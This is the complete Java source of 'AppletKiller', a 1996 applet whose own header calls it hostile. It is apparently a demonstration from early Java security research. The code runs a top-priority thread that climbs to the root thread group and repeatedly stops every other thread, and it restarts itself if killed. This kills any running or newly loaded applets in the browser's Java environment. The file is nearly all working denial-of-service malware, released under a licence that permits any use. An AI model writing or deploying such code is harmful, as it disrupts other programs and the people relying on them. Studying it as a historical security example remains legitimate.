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/* AppletKiller.java by Mark D. LaDue */
/* April 1, 1996 */
/* Copyright (c) 1996 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
/* This hostile applet stops any applets that are running and kills any
other applets that are downloaded. */
import java.applet.*;
import java.awt.*;
import java.io.*;
public class AppletKiller extends java.applet.Applet implements Runnable {
Thread killer;
public void init() {
killer = null;
}
public void start() {
if (killer == null) {
killer = new Thread(this,"killer");
killer.setPriority(Thread.MAX_PRIORITY);
killer.start();
}
}
public void stop() {}
// Kill all threads except this one
public void run() {
try {
while (true) {
ThreadKiller.killAllThreads();
try { killer.sleep(100); }
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
// Resurrect the hostile thread in case of accidental ThreadDeath
finally {
AppletKiller ack = new AppletKiller();
Thread reborn = new Thread(ack, "killer");
reborn.start();
}
}
}
class ThreadKiller {
// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go
public static void killAllThreads() {
ThreadGroup thisGroup;
ThreadGroup topGroup;
ThreadGroup parentGroup;
// Determine the current thread group
thisGroup = Thread.currentThread().getThreadGroup();
// Proceed to the top ThreadGroup
topGroup = thisGroup;
parentGroup = topGroup.getParent();
while(parentGroup != null) {
topGroup = parentGroup;
parentGroup = parentGroup.getParent();
}
// Find all subgroups recursively
findGroups(topGroup);
}
private static void findGroups(ThreadGroup g) {
if (g == null) {return;}
else {
int numThreads = g.activeCount();
int numGroups = g.activeGroupCount();
Thread[] threads = new Thread[numThreads];
ThreadGroup[] groups = new ThreadGroup[numGroups];
g.enumerate(threads, false);
g.enumerate(groups, false);
for (int i = 0; i < numThreads; i++)
killOneThread(threads[i]);
for (int i = 0; i < numGroups; i++)
findGroups(groups[i]);
}
}
private static void killOneThread(Thread t) {
if (t == null || t.getName().equals("killer")) {return;}
else {t.stop();}
}
}
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